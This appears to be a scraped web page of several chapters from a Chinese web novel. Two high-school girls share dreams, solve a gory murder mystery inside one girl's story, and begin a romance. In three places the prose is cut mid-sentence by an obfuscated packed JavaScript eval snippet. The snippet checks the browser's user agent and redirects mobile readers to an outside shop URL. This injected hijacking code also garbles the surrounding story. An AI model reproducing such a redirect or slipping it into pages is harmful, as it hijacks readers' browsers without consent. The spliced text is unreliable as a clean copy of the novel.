老李给每个人都做了这种表,细心地列上每次考试的排名、单科与总分,甚至还画了折线图。 甘露手里这份是数学的,但江未眠是插班生,上面只有最近一次统考的成绩。 她每科端水又端得很平,她的分数擦着班级平均分,只多出个五六分。 “老李打算组个学习小组,他说你的成绩其实可以再往上提一提。”甘露委婉暗示。 江未眠端着脸,笑着问道:“是你来负责吗?” “对,而且是一对一。” 江未眠想都没想,说道:“那很划算啊。” 她其实对分数没什么执念。 在光怪陆离的世界里,她的生活烂得像三流恐怖小说。 按照她的计划,江未眠从一个不正常的婴儿,长不正常的小孩,未来再变成一个格格不入的大人,横竖不正常才是常态,也就没必要在某些小事上纠结太多,一套逻辑严密,简洁有力的推论,极具信服力,她把这作为人生箴言,自认有着海阔天空般的胸怀。 她把这套严谨的逻辑讲给甘露听。 甘露叹了口气,不置可否,只是再次确认道:“所以你答应吗?答应的话我去回复老李。” 江未眠点头,拽过甘露的手指捏着玩:“当然答应。” 21. 交织 给江未眠补习算不上轻松,她很聪明,一点就透,有些题还能举一反三,可基础实在太差,对大半概念的理解都模模糊糊,甘露只能从最基础的定义开始,一点点帮她补。 “这个是基本公式的变形,只需要换一下位置……然后这样,我讲清楚了吗?” “哦……这是基本公式啊?” “你到底是怎么及格的?” 甘露讲着讲着,就忍不住发自内心地疑惑。 江未眠从文具袋里面摸出来块骰子形状的橡皮,晃了晃,橡皮在桌子上滚了一圈,四个点朝上,江未眠淡定地说道:“这是C,考试投骰子,或者抓阄就可以了。” 江未眠的运气一直不错,虽然会受外部因素的影响,但正确率还是比较可观的。 “老师,中场休息吗?” 江未眠往沙发上一靠:“叮铃铃,叮叮铃铃,下课了,老师您辛苦了。” “好吧。”甘露挥挥手,示意她可怜的学生可以暂时解放了。 江未眠起身挪到冰箱边,打开冰箱看了一眼后,从厨房探出头问甘露:“要可乐吗?” 甘露毫不犹豫:“要。” 一瓶可乐从厨房飞出来,甘露稳稳伸手接住。 窗外是浓稠的黑夜,屋里暖黄的灯静静地亮着,两人围在桌旁,专门多点了个台灯,桌上摊着江未眠喜忧参半的数学卷。 江未眠盘腿坐回去,单手拉开可乐,气泡噗滋噗滋往上冒,瓶底落在桌上,晕开一圈浅浅的水渍。 “你的那个互动小说,还在写吗?” “具体是哪一本?”甘露问到,“我写的乱七八糟的东西挺多。” “666死亡公交车。” “那个……正准备继续写了,最近在列大纲。” “我能申请提前体验吗?”江未眠喝了一口可乐,说道。 “可以呀,”甘露小心翼翼地放气,一点点把可乐拉环拉开,“不过你怎么突然问这个?” 江未眠一脸无奈,说道:“因为某人创造欲爆发的时候,我会做同样的梦啊。” 甘露瞬间僵住,“什么意思?” “我可是进过那个250公交,在梦里死了好多次。” 甘露的声音掺着震惊和心虚,表情难看:“你……去过?” 江未眠耸耸肩。 甘露的语气异常坚定:“下次带上我。” 江未眠品出甘露的话里的不是滋味,轻声说道:“我没有责怪你的意思。” “我想去而已。”认真甘露回答。 从某些方面来讲,甘露从没有改变,无论是卷卷还是甘露,都会有种固执。 “好啊,”江未眠答应下来,“那你找个东西送我,我放在枕头底下,保证你天天白天晚上都能见到我,见到烦。” 甘露随即从包里翻出一根黑色的发绳,款式简单,却看着结实耐用。 “你先用这个行不吗?我回头给你找别的。” 江未眠收下发绳。仰头咕嘟咕嘟地灌完冰可乐,手腕一扬,空瓶精准地落进垃圾桶。她看着身前的数学卷:“继续吗?” 甘露回答道:“继续吧。” 甘露是个会教人的好老师,这是江未眠补习途中最真实的感受。她能精准指出江未眠疑惑的点,讲得条理分明。 慢慢地,江未眠也真的听了进去。 “把x带入这里,你会发现两个公式可以抵消。” “你试试看。” 江未眠凑了过去时,甘露闻到一阵浓郁的蜂蜜柚子香。 江未眠洗发水的味道。 江未眠接过甘露递过来的笔,顺着思路,很快解出小卷的最后一道题。 两人总算完成任务,时间已经将近十二点。 时间也不早了,甘露打了个哈欠,她收拾好东西,靠在门框边和江未眠道别。 “晚安。” “晚安,”江未眠笑着回应道:“要做个好梦。” 不知道算不算好梦。 “副手,你怎么看?” “女士,我认为是仇杀。” “哦?”甘露饶有兴趣地挑眉,“说出你的理由,副手。” “您看,女士,”江未眠指了指地那片如果上电视必定会被打满马赛克的惨烈犯罪现场,“凶手的手段极其残忍,可能是以折磨受害者为乐,说明两人之间多半存在很深的情感纠葛,我们应该优先调查受害者的社会关系。” 她用手边的拐杖戳了戳地上的碎肉。 “凶手应该具有某些宗教信仰,下面画的法阵会是我们调查的重点之一。” “非常精彩的推理,副手,你几乎可以出师了。” “承蒙夸家,女士,是您教导有方。” “噗嗤——”甘露没忍住,当场笑场了。 江未眠立刻抗议道:“喂,侦探!严肃点,我们正在办案呢!” “好的。”甘露立刻绷住脸,一本正经地说道:“跟上我,副手。” 甘露的风衣一扬,甩出一道凌厉的弧度,她大步迈出现场,登上停在外面的马车。 这里是甘露曾经写过的一篇谋杀案小说世界。按她自己的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480585|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,这篇还“借鉴”了某个潮湿岛国盛产的侦探们的故事风格。 但也融合了别的因素。 比如说,奇幻想象什么的。 在江未眠说自己曾闯进过杀人公交的梦时,甘露就开始好奇,江未眠是否可以进入别的“故事”里。 她觉得这是个值得探讨一下的问题,而作为行动上的巨人,她回去后数妃也不理了,专心地在睡前反复阅读旧稿,在脑海里一遍遍构建相关的场景。 没想到真的成功了。 这场梦境就像一场沉浸式剧本杀。 拉车的两匹白马,长着洁白的翅膀,翅膀伸展开足足有两米长,称得上圣洁。 只是出现在本该以科学逻辑为基底的推理小说里,怎么看都违和。 “如果现实里的马长出这样的翅膀,能飞起来吗?”江未眠提出一个具有科学实践意义的问题。 “大概率是飞不起来的,”甘露思考了一下,给出了文科生式解答,“我们给它翅膀,是因为飞翔是自由的象征,像飞马这样童话里的生物,应该自由自在,不受生物学和物理学控制,在天空尽兴翱翔。” 江未眠似懂非懂地点点头。 两人在敞篷马车里坐定,甘露轻轻拍了拍它洁白的马身,唤道:“好孩子,我们可以出发了。” 飞马喷出口鼻息,在地面小跑几步,双翅一展,腾空而起,起初有些颠簸,升入高空后便平稳下来。 “哇哦,”江未眠忍不住把头伸向窗外。 地面上的房屋与田野都缩成小小的一块,碧蓝如洗的天空之下,人们就像蚂蚁在五颜六色的迷宫中穿行。 甘露咳嗽了一声,把江未眠注意力拉回来。 “好了副手,汇报整理到的信息。” 江未眠严肃地说道:“死者玛利亚·史密斯,是小镇牧师亨利·史密斯的长女。牧师家中还有儿子与小女儿。玛利亚生前乐善好施、待人温和,与邻里关系和睦,几乎没有仇家,全镇人都对她的死感到震惊。” “玛利亚遇害当天去过教堂祷告,之后便返回家中。她的朋友艾米丽上午十点左右前来拜访,十一点左右离开。十二点过后,女仆在玛利亚的房间里发现了她的尸体。” 江未眠翻了一页设定集,继续念: “玛利亚死状惨烈,四肢与头部被残忍肢解,四肢分别朝向东南西北四个方向,头部被摆放在腹部上面。” “此事一出,小镇哗然。史密斯牧师悲痛欲绝,恳请您务必找出杀害玛利亚小姐的真凶。” 说完,她“啪”地合上设定集。 23. 真相 “我实在不敢相信,父亲竟然会如此信任那个新来的牧师。” 莉亚莉亚“啪”地合上手中的丝绒折扇,语气里满是难以置信。 她的眼里带着毫不掩饰的戒备:“那位牧师绝非善类,他的脸上有一道特别吓人的疤,眼神凶恶,我绝不相信长着这样一双眼睛的人会是心地纯良的好人。” 莉亚语气逐渐放缓:“我可怜的大姐姐,她才刚满二十三岁,人生还那么美好。侦探女士,我敢断定,那个牧师一定有问题,他绝对和姐姐的死脱不了干系。” “玛利亚女士生前,有没有和你提起过这位牧师?” 莉亚的脸色变得有些古怪:“我一直觉得很奇怪,父亲和姐姐都口口声声夸赞新来的牧师品性端正、心地和善,可我看到的明明是另一副模样,就好像我和她们看到的不是同一个人。” 江未眠继续追问:“案发当时,你在什么地方,做了什么?” “我一直坐在楼下客厅看书,到了午饭时间,姐姐却迟迟没有下来吃饭,我就让家里的女仆上去催一催姐姐,没想到……” 说到这里,莉亚声线开始颤抖。 “你说的是麦克牧师吧?”史密斯牧师的儿子查理·史密斯说道:“他是个好人,不过我们家的小妹妹不怎么喜欢他。” “你对这位麦克牧师的长相,有什么具体的印象吗? 查理茫然地眨了眨眼,思索片刻后摇了摇头:“真奇怪,我完全记不清他长什么样子,不过应该挺和善吧。” 甘露和江未眠对视一眼。 江未眠朝着甘露弯了弯眉眼。 江未眠问道:“查理先生,你再仔细回想一下。麦克牧师的衣着、神态、或是身形,有没有什么让你觉得特别的地方?” 查理皱着眉,努力在记忆里翻找,最终还是茫然地摇头:“没有……我真的记不清了。我和这位牧师接触不多,我的父亲和姐姐更了解他,至于衣着和长相,我没多留意过。” 江未眠垂眸,在纸上重重一点,把“全家对牧师容貌描述不一致”一行圈下。 “莉亚小姐,你和牧师接触多吗?最近一次是在什么时候?” 莉亚的声音压得很低:“我只见过一次,牧师来我们家与父亲商讨问题,那天我生病了没有下楼吃饭,晚上我起夜去喝水,路过客房,门没关严,在昏黄的灯光下我看到他的容貌。” 她顿了顿,气息发颤:“他脸上那道疤很深。灯光一照,整个人看起来……特别吓人。” “我真的吓坏了。” 客厅门口传来一声轻缓的脚步声。 不知道什么时候,一身素白牧师长袍的麦克牧师已静静立在那里。 他身高中等,五官十分温和,确实不容易给人留下深刻印象。 牧师的眉眼间,带着恰到好处的悲悯。 “二位便是前来调查玛利亚小姐一案的侦探吧。”他微微颔首说道,“我是麦克,听说了噩耗,特地前来拜访史密斯先生。” 甘露上前一步,审视的目光地落在他脸上:“牧师来得正好,我们正有几个问题要向你请教。” “侦探女士请讲。”麦克牧师垂眸。 “案发当天上午,你在哪里?”江未眠开口。 “我一直在教堂整理捐赠物资,有多位教友可以作证。”他回答得流畅而自然。 “你与玛利亚小姐熟识,对吗?” 甘露继续问:“她曾向你提及过,心中有不安、或是困扰之事吗?” 麦克牧师思索片刻,眼底沉重几分:“玛利亚小姐善良纯粹,一心扑在慈善活动上,只是偶尔会觉得压力大,毕竟是第一次独自主持这么重要的事。” “压力?”甘露语气疑惑,却有种莫名的尖锐,“是来自活动本身,还是来自……某些不能被外人知道的秘密?” 牧师脸上的温和纹丝不动:“我不明白侦探女士的意思。” “你不明白?”甘露再向前半步,缩短两人之间的距离,目光直直落在他眉眼之间。 江未眠板着甘露的肩膀,甘露后退了一步,又拉开了些距离,她回过头瞥了江未眠一眼,江未眠讨好般笑了笑。 江未眠说道:“牧师先生,那我换个说法。” “莉亚小姐说,她见过你另一副的样子,脸上有疤、眼神凌厉,与现在这副温和模样判、若、两、人。” “我不明白。”麦克再次重复。 空气里的紧绷感还未散去,门外忽然传来一阵短促的马匹嘶鸣,紧接着是车轮碾过石子路的沉闷声响。 江未眠偏过头,目光扫向窗外庭院的方向。 “那是什么?” 不等众人回答,她已经快步走到窗边,撩开厚重的窗帘一角。 只见一辆黑色的封闭式马车,正悄无声息地从后院侧门驶出。车夫头戴宽檐帽,遮住了大半张脸,挥鞭的动作急促慌乱。 马不满地喷了喷鼻子。 车厢封闭得严严实实,没有任何标志。但江未眠看到了车厢后方靠近下面的地方,沾着一丝明显的、暗红的污渍。 江未眠瞳孔微缩。 “甘露。”她急忙说道,“你过来看看。” 甘露甩开还在故作镇定的麦克牧师,大步走到窗边,顺着江未眠的视线望去。 那辆马车已经驶到庭院门口,准备转头,车夫又用鞭子抽一下马,马越跑越快。 甘露眼神深沉,立刻判断到:“车厢里装的东西有问题。” “是尸体。”江未眠直接接道,“有血迹,尸体正在被人运走。” 麦克牧师脸色骤然一变。 “拦住那辆马车!” 甘露一声大喝,话音刚落,人就已经拉着江未眠,转身朝着客厅大门冲去,长风衣扫过地面,带起一阵急促的风。 江未眠紧随其后。 庭院里的石子路被车轮碾得沙沙作响,黑色马车早已驶到院门处,车夫狠狠挥鞭,马蹄高高扬起,眼看就要冲出雕花铁门。 “快!拦住它!”甘露高喊。 她的余光瞥见门边立着的粗木栓,伸手一把拽过,横在了铁门中间,硬生生将出口堵死。 车夫瞬间慌乱,咬牙再次扬鞭,想要驱马冲开木栓,马匹却被身前的阻碍惊得仰头嘶鸣,前蹄腾空,车身猛地剧烈晃动,车厢角落的暗红污渍也随之扩大,显露得更加明显。 江未眠已经绕到马车侧面,伸手扣住车厢门板,指尖触到木板的瞬间,便察觉到一丝黏腻的冰冷,鼻尖还萦绕着一股怪味。 她用力去拉车门,发现车门被从内部锁死。 “下车!”江未眠抬眼剜了一眼车夫,语气强硬,“车内藏着命案证据,立刻停车接受检查!” 车夫只是紧张地拼命驱赶马匹,马蹄反复刨着地面,车轮死死抵住木栓,车身剧烈摇晃,发出吱呀的刺耳声响。 趁此时机,江未眠后退半步,抬脚狠狠踹向车厢门锁,“哐当”一声脆响,门锁应声断裂,车门被猛地踹开。 一股淡淡的血腥气混杂着焚香的味道扑面而来。 车厢内,一具被白布紧紧包裹的躯体,静静躺在那里,白布边缘,渗着早已干涸的暗红血迹,与车厢外的污渍一模一样。 江未眠抬手掀开那层厚重的白布,尸体周身撒着刺鼻的焚香与香料,试图掩盖底下的血腥气,面容被刻意损毁,依稀能辨出几分与麦克牧师相似的轮廓。 正是众人一口咬定的“死者玛利亚”的尸体块们。 甘露蹲下身,右手捏着洁净的白手帕,捡起一节手腕,目光一寸寸细细查验,神情凝重。 死者被分尸,又残忍地割掉了皮,只完整剩下骨头与相连的筋肉,因此尸块很好的隐藏了他的真实身份。待翻找到死者的手掌,江未眠的停了下来。 这双手并非劳作粗活而生的杂茧,反倒在虎口、食指指根、掌心外侧,有着几片形状规整、质地坚硬的厚茧,痕迹深且集中,恰好是常年握持枪械、扣动扳机,反复摩擦形成的印记。 指关节还有些许枪械后坐力冲撞留下的旧伤,绝非寻常人会有的痕迹。 而麦克牧师,曾参过军。 “死者绝不是玛利亚·史密斯。” 江未眠率先开口,抬手将死者的掌心正对阳光,让那几片枪茧格外醒目。 她掷地有声:“玛利亚是养尊处优的牧师长女,双手纤细柔嫩,连细微划痕都少有,根本不可能有握枪留下的厚茧。” “更何况,”江未眠顿了顿,视线看向“麦克”牧师,“这位牧师先生,你敢让我们看看你的手吗?” 她一步步逼近玛利亚:“现在,你还要继续伪装下去吗?” 庭院里栽种了许多低矮的灌木,风裹挟着血腥气与草木味。 老牧师和查理沉默了,莉亚捂住了嘴。 甘露站在马车旁,目光地扫过面色死灰的“麦克”、瘫坐一旁的老牧师,以及惊慌失措的查理,和惊讶地莉亚。 “玛利亚小姐,你不想说点什么吗?” “所有人都在说谎,从一开始,死者就不是玛利亚·史密斯,而是真正的麦克牧师。” 她语气笃定:“你们刻意损毁尸体面容,用香料掩盖气息,再让全家统一口径,”她的眼神扫过小女儿莉亚,顿了顿,纠正道:“大部分人统一口径,谎称死者是玛利亚,不过是为了掩盖杀人真相。” “麦克牧师”的玛利亚,脸色彻底褪去所有血色。 “我们在教堂牧师办公间的暗格里,找到了三本私账与未入账的捐赠收据。” 江未眠的声音幽幽响起,“公开账目全是伪造,贫民善款大半被史密斯截下,流入私人账户。麦克正是核对账目时,发现了他挪用公款的罪行。” “我们也在图书馆的宗教古籍中,查到了尸体摆放的秘密——四方涤罪封印。一种用来封印生者罪孽、假装救赎灵魂的宗教手段。” “告诉我,玛利亚,”甘露看向假麦克,“你和你父亲的灵魂得到救赎了吗?” 江未眠接着说道。 “麦克牧师是外来者,真正心地善良的好人,真心协助玛利亚筹备慈善,可他在工作时无意间,发现了老牧师史密斯挪用教堂慈善善款、中饱私囊的罪行。像他一样为人正直,一心信奉教义的人会做什么呢?相比不止一次劝说过您吧。不对,他的劝说对您来说可是不得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480587|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的威胁。” “玛利亚也不能接受,她敬重父亲,害怕父亲身败名裂,害怕家族蒙羞,更害怕父亲的罪孽被教会与小镇唾弃。一边是血脉亲情,一边是无辜善良、甚至对她心存好感的麦克,她最终选择了保全父亲,亲手杀死了唯一知情的麦克。” “杀人之后,她利用麦克常年化妆遮掩凶悍容貌的秘密,将两人身份互换。她毁掉麦克的面容,把他的尸体伪装成自己,再换上麦克的衣物,模仿他的言行举止,假扮成麦克牧师,试图瞒天过海。” “史密斯牧师和查理先生,为了保全玛利亚,选择隐瞒真相,帮着她伪造证词、转移尸体,对抗调查。” “玛利亚,你这样对他的尸体的时候,真的认为这样就能掩盖父亲的罪孽,就能让一切回归平静,继续做你善良有爱,受人欢迎的玛利亚小姐了吗?” “事到如今,你还要继续狡辩吗?” 话音落下,玛利亚再也支撑不住,双腿一软跪倒在地。 伪装、隐忍、恐惧与愧疚,在这一刻彻底爆发,无从隐藏。 她轻轻笑了一声。 “他爱我。” “我也爱他。” “他教我伪装,教我怎么改变声音,怎么模仿神态,怎么用妆容遮住轮廓,怎么变成另一个人。我是个好学生,不是吗?” “我知道他爱我。我比谁都清楚。所以我才能把他骗进卧室。利用他对我的心软,利用他对我的信任,利用他的爱……亲手杀了他。” 她的声音异常清晰。 “之后,查理替他去教堂,装作他还在整理物资、还在祷告、还在活着的样子。而我,换上他的衣服,变成他的模样,顶着他的身份,站在所有人面前。” 她低头看着自己身上的牧师长袍 “我发现,我真的很想成为他。所以,我爱他。” 玛利亚是个聪明的孩子。 她懂人们的喜好,什么样的言辞能换来温和的笑意,什么样的举动能收获满耳的夸赞。 人人都喜欢玛利亚。 端正的眉眼,温和的态度,善良的内心。 还有双能容纳一切般的天蓝色眼睛。 人人都赞史密斯牧师有最完美的女儿。 艾米丽是安全的存在,愚钝、纯粹,对她的话深信不疑。玛利亚愿意和她做朋友,她喜欢这种不用多多设防的轻松。 查理和她很像,不如说她们两个和父亲很像,那个古板固执、把牧师声誉看得比一切都重的父亲。 母亲早逝,父亲没有再娶,玛利亚早早开始帮助父亲经营这个家。 莉亚胆小又敏感,利亚会尽到姐姐的本分。莉亚说麦克是个“脸上带疤、眼神凶恶”的人,玛利亚心里早有答案,只是缄默不言。 她温柔地安抚,告诉她:“麦克牧师怎么会是那样的呢?说不定你只是做噩梦了。” 但私底下,她对麦克留意更多,“无意间”发现麦克的真面目。 麦克倒是个异类,外表凶悍,上过战场,眼神里总是有抹都抹不掉的血腥气。 但他身体里却藏着玛利亚见过最干净,最善良的灵魂,心怀教义、悲悯众生。 像教堂里,被光打亮的壁画。 玛利亚当然会答应麦克帮他保守秘密,但前提是他教她化妆,教她伪装神态。 玛利亚学的很快,她是个聪明的人,活在别人眼神里的人,所以她能轻易模仿出另一个人的模样,说出他们会说的话。 她试着办成麦克。 她可以拥有他的面孔,他的衣着,他的身份,他在教堂里站立的位置,甚至他在人群中被注视的目光。 当麦克发现父亲挪用善款的罪行,他执意要一个真相时,玛利亚不敢想象,真相曝光后,父亲会从圣洁的牧师变成人人唾弃的窃贼,家族会蒙羞,她会变成罪人的女儿,她引以为傲的赞扬、体面、安稳,都会化为乌有。 她对麦克有好感,甚至有过片刻的心动。 但聪明的孩子,不做不确定的事。 她站在他面前,天蓝色的眼睛依旧温和,像在做一场每天一遍的祷告。 你明明和我一样会伪装,为何却偏偏不肯为了重要的东西妥协? 仪式是教堂最庄严的时刻:祷告、唱诗、牧师讲道、众人低头忏悔。 这一次,却只有玛利亚和麦克。 她像往常一样,在仪式里无声地扫视一切:父亲的表情稳不稳?莉亚有没有露出害怕的样子?艾米丽是不是又傻乎乎地信着一切? 而麦克,有没有悲伤地、不敢置信地看向她? 父亲挪用善款,是罪。 她杀人灭口,是罪。 她跪在他面前,用这世间最纯洁的灵魂,究竟在祈求什么? 她在祈求一场无人知晓的宽恕。 只要外人永远不知道真相, 我们就依然是圣洁的。 我依然是人人喜爱的玛利亚。 她站起身,轻轻拍干净身上的尘埃, 她的天蓝色眼睛,依旧温和、无害,像从未沾染过血的天使。 甘露看了看天边,对江未眠说道:“明天见。” 24. 亲吻 “感觉怎么样?” 甘露侧过头,轻轻点了点桌面。 “还不错,沉浸式剧本杀。”江未眠懒懒趴在课桌上,一只手松松撑着脸颊,发丝垂落在桌沿,晕开一片浅色的影子。她看向甘露,赞同道。 江未眠有些疑惑地问道:“玛利亚……难道就不想过自己的生活了吗?从她迈出那一步开始,某种意义上,原来的她就已经死掉了吧,变成另一个人了。” 窗外的阳光正好,暖融融地斜切进来,落在木质课桌上,割出几道深浅不一、形状不规则的亮斑。风掠过树梢,布谷鸟时不时清亮地叫几声,在安静的教室里荡开浅浅的回音。 班里只零零星星坐了几个人,很安静,大部分都去室外活动了。 体育课管得松,体育老师也不在意,没有硬性要求必须待在操场,回教室吹空调也没关系。 不过大部分人都会选择在室外活动一下,毕竟也是一周里少有的放风时间。 甘露点头,目光落在窗外晃荡的枝叶上:“以她的选择来看,她想要这样一种新生活。很难理解吧。” “你可是作者啊,别讲这种话吧。”江未眠笑了笑语,气带着揶揄。 “而且史密斯牧师……可以说才是一切发生的根源。” “血缘会有这么大的魔力吗?” “他们是最原始,最亲密的同盟,”甘露回答道,“不过也不需要纠结这么多,这个剧本还有很多需要打磨的地方。 江未眠点头。 甘露莫名想起了陈叔叔。 甘露知道江未眠是陈叔叔的女儿,这是江未眠告诉她的,江未眠本人不避讳这一点。 陈醒是干奶奶之前的学生,和她们一家关系挺好。 在她的记忆中,隔壁的陈叔叔一直是个神秘感十足的酷大叔,他有一辆摩托,型号算是复古了,但保养的很好,还带着甘露在大街上兜过风。 作为隔壁的邻居而言,陈叔叔无疑是个讨孩子们喜欢的大人,但最从一个成年人的视角来看,他没有世俗意义上的家。 他只有一辆摩托,天南地北,引擎在咆哮,路在延伸,他永不停下。 她一直以为陈叔叔是个不婚主义或者丁克什么的,直到江未眠出现。 虽然江未眠姓江,但只要见过两人,就不会怀疑其中的血缘关系,她和江未眠的骨相颇为相似,只有眼睛形状和瞳孔颜色有些许不同。 陈醒。 江未眠。 “她如果和你一样好说话就好了……” 记忆中穿着皮衣的男人摸了摸她的头,有些苦恼的小声说道。 “是谁啊?”甘露偷偷吃着陈醒给她买的冰激凌,好奇地反问。 “没什么……”接触到他沉下去的眼神,敏锐的小孩识趣地不再发问。 深红色的摩托停在沥青马路边,上面挂着哥简单的旅行包。卷毛大狗懒洋洋地爬在车轮旁边,时不时瞥陈醒一眼。 “叔叔,你又要出去吗?” “对呀,小卷卷,”他弹了下甘露的鼻子,甘露难受地皱起了眉,用眼神控诉他的恶行。 “这次要去青藏,你知道在哪里吗?” “不知道。”甘露诚实地回答,她也没兴趣听陈醒的旅游规划,心里只想着要怎么样才能吃到第二根雪糕。 奶奶不允许她对吃,但陈叔叔会好说话很对。 有些晒斑的,青年的笑脸和面前女孩的侧脸逐渐重合。 甘露把老李的电脑仔细收进桌肚深处,再挪过椅子挨着江未眠坐下,也跟着趴在桌上,两人面对面相望。 江未眠向甘露挪了一点,鼻尖几乎碰在一起。呼吸都似有若无地缠绕。 甘露眨了眨眼睛,看着她,没躲开。 “作者也不能完全理解笔下的人物要干什么啊,有的人物被创造出来后就脱离大纲了,很可怕的。” 甘露解释道:“有时候我觉得,梦就是另一个真实的世界,那个世界里也有鲜活的人、数不清的故事,我听到的,看到的,都真真切切存在,从来都不只是我编造的故事。” “你看,你睁开眼,这个世界纷至沓来,闭上眼,世界陷入黑暗。这时候很难不怀疑,眼皮是不是这个世界的开关了。” 江未眠上下晃了晃头,好像甘露说什么鬼话她都认同。 “对了,这个给你。”. 甘露忽然想起什么,手伸进口袋里摸了摸,拿出来一个一个小东西。 江未眠接过。 是一枚小的香囊。 粉嫩的布料上,绣着一只笑眯眯、肥嘟嘟的松鼠。针脚不算工整,有的地方疏、有的地方密,边角还微微开了线,看得出来是手工绣的,而且绣工手法生涩。 一缕清浅温润的干花香气,从香囊里渗出来。 “给我的?” “给你的。” “你可以放枕头下面,”甘露戳了戳江未眠都小枕头,说道,“如果你想见我的话。” “谢谢。” “其实你随便给我点什么都行,我都很开心。” “这是接到礼物该有的态度吗?”甘露故意挑眉。 “真是抱歉,”江未眠举起手,乖乖做了个投降的姿势,“感恩戴德,甘露大人。” “这才对。” 江未眠小心翼翼地把香包塞到枕头最里面,像是在珍藏什么稀世珍宝,压得平平整整。 甘露看着她的动作,忽然拉长了声音问道:“想出去吗?去放放风。” “真的假的。” 江未眠勾住甘露的手指,贴在窗户玻璃上,甘露瞬间感受到夏日午后的温度。 窗外的阳光烫得厉害,玻璃被晒得温热,隔着一层都能感受到午后那种灼人的燥热。 “算了吧。” 甘露抽回手,干脆放弃,转身坐回自己的座位,把一个厚本子拿了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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甘露要给江未眠一个切切实实,不能再逃避的理由。 她要给她一个实实在在、能摸到、能感受到的答案。 甘露轻轻拽着江未眠,往窗边靠了靠,然后抬手,将那面宽大的窗帘猛地往前一扯。 厚重的布帘“唰”地罩下来。 远处操场的喧闹像一层薄薄的背景音。她只是慢慢凑近。 课桌之间的距离本就窄,一靠近,脸上渡了光的绒毛都看得清清楚楚。 江未眠下意识屏住了气,眼睫轻颤。彼此的呼吸、心跳,和布料摩擦的细微声响被无限放大。 甘露微微抬手,扶住江未眠的侧颈,很轻、很稳,带着一点笨拙,吻了上去。 唇瓣相贴,像是在描摹对方嘴唇的纹路。 下一瞬,江未眠抬手扣住甘露的后腰,将人往后压,不等甘露反应就加深了这个吻,力道带着毫不掩饰,想要确认什么的急切,唇齿间的力道变重。 没等甘露回过神,一阵微麻的痛感传来,江未眠咬了咬她的下唇,不算重,却带着股占有欲,像是压抑已久,在标记独有物。 这样她就不会离开。 25. 盆仙 甘露的脊背上有一道伤疤,年月已久,余留下交错的痕迹。 带着与周围肌肤格格不入的异色,盘旋着,像只有很多脚的蜈蚣。 夏天穿着薄衣服时会外明显,上缘笔直,横贯整个肩胛,中段稍细,沿着左边微微向下一折,而后一路向下,收紧收窄,最终缩成一条浅色的线,没入裤腰。 是儿时的车祸留下来的。 隔着衬衫,江未眠指腹轻轻抚上伤疤,破开柔软的血肉后再硬生生愈合的痕迹,摸起来更加坚硬,凹凸不平。 呼吸扫过颈后,温度通过相接的肌肤蔓延开来,甘露忽然扣住那只在背后作乱的手,压低声音,在江未眠耳边哑声说道:“专心点。” 江未眠改为抬手环住甘露的脖颈。 唇瓣相接,水声响起。 自从上次之后,江未眠格外沉迷接吻游戏,每次都带着十成十的贪恋,甘露觉得自己的嘴最近可能要肿上一圈。 甘露的有着和她一样的味道,江未眠后知后觉地想起来,她们俩个喝了同一瓶果汁。 果汁确实是减糖版,酸涩堂而皇之地占据了主调,舌头被酸地发麻。 江未眠把手插在甘露的卷发里,将她的头轻轻下压,珍重地吻了甘露的额头,在把手抽出去时,不小心扯掉了两根甘露的头发。 发丝落在江未眠鼻尖。 “噗嗤——” 甘露没忍住笑出了声。 江未眠的脑袋枕在甘露的肩膀上,甘露可以看到她乌木般的发丝和微红的耳朵,她伸手轻柔地理了理对方的头发,又悄悄戳了戳她的耳朵。 江未眠不满地小声嘟囔了一句,甘露低下头凑近去听,江未眠却安静了下来。 “你刚刚说什么?” “别动,痒。” 甘露略带可惜地收回了手。 两人紧紧靠在一起,有点像甘奶奶烙的煎饼。暖乎乎,黏糊糊的。 江未眠的呼吸在甘露的怀里渐渐变得匀称规律,她的发丝落在甘露的肩膀上,整张脸都埋在了甘露的颈窝。 甘露也缓缓闭上了眼睛。 滴滴——滴滴——滴滴—— 甘露放在一旁的手机却不合时宜地响个不停。 江未眠懒懒地伸出手,捞过了手机。 甘露轻声问:“你不是要睡吗?” “不睡,就闭一会眼,”江未眠声音有点哑,拿起来才发现不是自己的手机,随手递了回去,“你的。” 甘露滑开接听,陆绮的声音响起:“卷卷,出来玩不?新一家超好吃的糖水铺。” 江未眠忽然凑过来,整张脸挤进摄像头范围。 她头发微乱,额前碎发贴在额角,眼角和脸颊还带着一点淡淡的红。 甘露刚对着镜头开口:“去哪——” 陆绮的眼睛扫过画面,笑容瞬间僵在脸上。 “……甘露?” “哈哈,”陆绮干笑两声,语速飞快,“我突然想起来我要带我家洗衣机去打狂犬疫苗,先挂了哈!” 不等甘露回话,电话“啪”地被挂断。 借着手机微弱的反光,甘露瞥见自己颈侧有道清晰的牙印。 尴尬了。 陆绮之后肯定要问。 她无奈地看向身后的人:“你是老黄那边的亲戚吗?” “汪汪。” 江未眠把手握成小拳头,在身前轻轻晃了晃,模仿小狗摇招手的样子。 甘露按亮手机,屏幕亮起,周六下午三点。 学校被征做考场,苦逼高中生们难得放了个双休,不需要提前返校,和平常一闪而过、如白驹过隙的周末相比,都能算是小长假了。 